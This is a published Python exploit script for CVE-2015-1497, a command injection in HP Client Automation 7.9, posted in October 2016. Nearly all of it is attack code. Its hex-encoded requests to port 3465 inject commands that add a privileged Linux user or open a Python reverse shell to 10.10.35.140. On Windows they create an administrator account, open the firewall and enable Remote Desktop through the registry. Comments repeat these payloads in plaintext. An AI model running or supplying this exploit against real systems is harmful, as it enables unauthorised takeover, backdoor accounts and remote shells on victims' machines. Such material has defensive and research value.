HP Client Automation 7.9 Command Injection
Posted on 11 October 2016
# Exploit Title: [HP Client - Automation Command Injection] # Date: [10/10/2016] # Exploit Author: [SlidingWindow] , Twitter: @kapil_khot # Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/] # Version: [Tested on version 7.9 but should work on 8.1, 9.0, 9.1 too] # Tested on: [Windows 7 and CentOS release 6.7 (Final)] # CVE : [CVE-2015-1497] #Can run following command on linux target #Useradd Payload: hide hide sh -c ' useradd amiroot -p ID/JlXFIWowsE -g root' #Reverse Shell Payload: hide hide sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.35.140",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" #Runs following command on Windows target #hide hide cmd.exe /c net user hack3r "hack3r" /add #hide hide cmd.exe /c net localgroup administrators hack3r /add #hide hide cmd.exe /c net localgroup "Remote Desktop Users" hack3r /add #hide hide cmd.exe /c netsh firewall set service RemoteDesktop enable #hide hide cmd/exe /c netsh firewall set service type=RemoteDesktop mode=enable profile=ALL #hide hide cmd/exe /c reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f import sys,socket print(" # Exploit Title: [HP Client - Automation Command Injection] # Date: [10/10/2016] # Exploit Author: [SlidingWindow] , Twitter: @kapil_khot # Vendor Homepage: [Previosuly HP, now http://www.persistentsys.com/] # Version: [7.9, 8.1, 9.0, 9.1] # Tested on: [Windows 7, CentOS release 6.7 (Final)] # CVE : [CVE-2015-1497] ") def exploit_Linux(target_IP,exploit_param): if exploit_param == "1": print(" [+]Adding privileged user amiroot/nopass") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x73x68x20x2dx63x20x27x20x75x73x65x72x61x64x64x20x61x6dx69x72x6fx6fx74x20x2dx70x20x49x44x2fx4ax6cx58x46x49x57x6fx77x73x45x20x20x2dx67x20x72x6fx6fx74x27x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully added user amiroot/nopass") else: print("[-]Failed to add user amiroot/nopass") s.close() elif exploit_param == "2": print(" [+]Trying to get a reverse shell") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" #Change this #Reverse Shell Payload: hide hide sh -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.35.140",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'" request+= "x68x69x64x65x20x68x69x64x65x09x73x68x20x2dx63x20x22x70x79x74x68x6fx6ex20x2dx63x20x27x69x6dx70x6fx72x74x20x73x6fx63x6bx65x74x2cx73x75x62x70x72x6fx63x65x73x73x2cx6fx73x3bx73x3dx73x6fx63x6bx65x74x2ex73x6fx63x6bx65x74x28x73x6fx63x6bx65x74x2ex41x46x5fx49x4ex45x54x2cx73x6fx63x6bx65x74x2ex53x4fx43x4bx5fx53x54x52x45x41x4dx29x3bx73x2ex63x6fx6ex6ex65x63x74x28x28x5cx22x31x30x2ex31x30x2ex33x35x2ex31x34x30x5cx22x2cx34x34x33x29x29x3bx6fx73x2ex64x75x70x32x28x73x2ex66x69x6cx65x6ex6fx28x29x2cx30x29x3bx20x6fx73x2ex64x75x70x32x28x73x2ex66x69x6cx65x6ex6fx28x29x2cx31x29x3bx20x6fx73x2ex64x75x70x32x28x73x2ex66x69x6cx65x6ex6fx28x29x2cx32x29x3bx70x3dx73x75x62x70x72x6fx63x65x73x73x2ex63x61x6cx6cx28x5bx5cx22x2fx62x69x6ex2fx73x68x5cx22x2cx5cx22x2dx69x5cx22x5dx29x3bx27x22x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Exploit completed successfully. [+]Try to SSH into the target with username/password: amiroot/nopass") else: print("[-]Failed to get reverse shell") s.close() else: print(" [-]Invalid exploit parameter provided for Linux target") sys.exit() def exploit_Windows(target_IP): counter = 0 print("[+]Adding a local user hack3r/hack3r") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x20x75x73x65x72x20x68x61x63x6bx33x72x20x22x68x61x63x6bx33x72x22x20x2fx61x64x64x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully added user hack3r/hack3r") counter+= 1 else: print("[-]Failed to add user hack3r/hack3r") s.close() print("[+]Adding user 'hack3r' to Local Administrator's group") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x6ex65x74x20x6cx6fx63x61x6cx67x72x6fx75x70x20x61x64x6dx69x6ex69x73x74x72x61x74x6fx72x73x20x68x61x63x6bx33x72x20x2fx61x64x64x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully added user 'hack3r' to Local Administrators group") counter+= 1 else: print("[-]Failed to add user to 'hack3r' Local Administrators group") s.close() #Add user Hack3r to "Remote Desktop Users" Group print("[+]Adding user 'hack3r' to 'Remote Desktop Users' group") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x20x6cx6fx63x61x6cx67x72x6fx75x70x20x22x52x65x6dx6fx74x65x20x44x65x73x6bx74x6fx70x20x55x73x65x72x73x22x20x68x61x63x6bx33x72x20x2fx61x64x64x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully added user 'hack3r' to 'Remote Desktop Users' group") counter+= 1 else: print("[-]Failed to add user 'hack3r' to 'Remote Desktop Users' group") s.close() #Enable RDP print("[+]Trying to enable Remote Desktop Service") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x73x68x20x66x69x72x65x77x61x6cx6cx20x73x65x74x20x73x65x72x76x69x63x65x20x52x65x6dx6fx74x65x44x65x73x6bx74x6fx70x20x65x6ex61x62x6cx65x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully enabled Remote Desktop Service") counter+= 1 else: print("[-]Failed to enable Remote Desktop Service") s.close() #Enable RDP for all profiles print("[+]Trying to enable Remote Desktop Service for all firewall profiles") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x63x6dx64x2ex65x78x65x20x2fx63x20x6ex65x74x73x68x20x66x69x72x65x77x61x6cx6cx20x73x65x74x20x73x65x72x76x69x63x65x20x74x79x70x65x3dx52x65x6dx6fx74x65x44x65x73x6bx74x6fx70x20x6dx6fx64x65x3dx65x6ex61x62x6cx65x20x70x72x6fx66x69x6cx65x3dx41x4cx4cx00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully enabled Remote Desktop Service for all firewall profiles") counter+= 1 else: print("[-]Failed to enable Remote Desktop Service for all firewall profiles") s.close() #Setup target to listen for RDP connections print("[+]Setting up the target server to listen to RDP connections") request = "x00" request+= "x31x32x33x31x32x33x00" request+= "x41x42x43x00" request+= "x68x69x64x65x20x68x69x64x65x09x09x63x6dx64x2ex65x78x65x20x2fx63x20x72x65x67x20x61x64x64x20x22x48x4bx45x59x5fx4cx4fx43x41x4cx5fx4dx41x43x48x49x4ex45x5cx53x59x53x54x45x4dx5cx43x75x72x72x65x6ex74x43x6fx6ex74x72x6fx6cx53x65x74x5cx43x6fx6ex74x72x6fx6cx5cx54x65x72x6dx69x6ex61x6cx20x53x65x72x76x65x72x22x20x2fx76x20x66x44x65x6ex79x54x53x43x6fx6ex6ex65x63x74x69x6fx6ex73x20x2fx74x20x52x45x47x5fx44x57x4fx52x44x20x2fx64x20x30x20x2fx66x00" s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_IP, 3465)) s.send(request) response = s.recv(1024) if response == "x00": print("[+]Successfully setup the target server to listen to RDP connections") counter+= 1 else: print("[-]Failed to setup the target server to listen to RDP connections") s.close() if counter == 6: print(" [+]Exploit completed successfully. Try RDP to the target with username/password: hack3r/hack3r") else: print(" [-]Exploit Failed..") #main() function here def main(): if len(sys.argv) < 2: print " [-]Usage: Windows Target: python HP_Client_Automation_Exploit.py <target_ip> Windows Linux Target: python HP_Client_Automation_Exploit.py <target_ip> Linux [1|2] 1.Add user 2.Reverse Shell" sys.exit() target_IP = sys.argv[1] target_OS = sys.argv[2].lower() if target_OS == "windows": exploit_Windows(target_IP) elif target_OS == "linux": exploit_param = sys.argv[3] exploit_Linux(target_IP,exploit_param) else: print(" [-]Invalid taret Operating System selected.") sys.exit() if __name__ == '__main__': main()
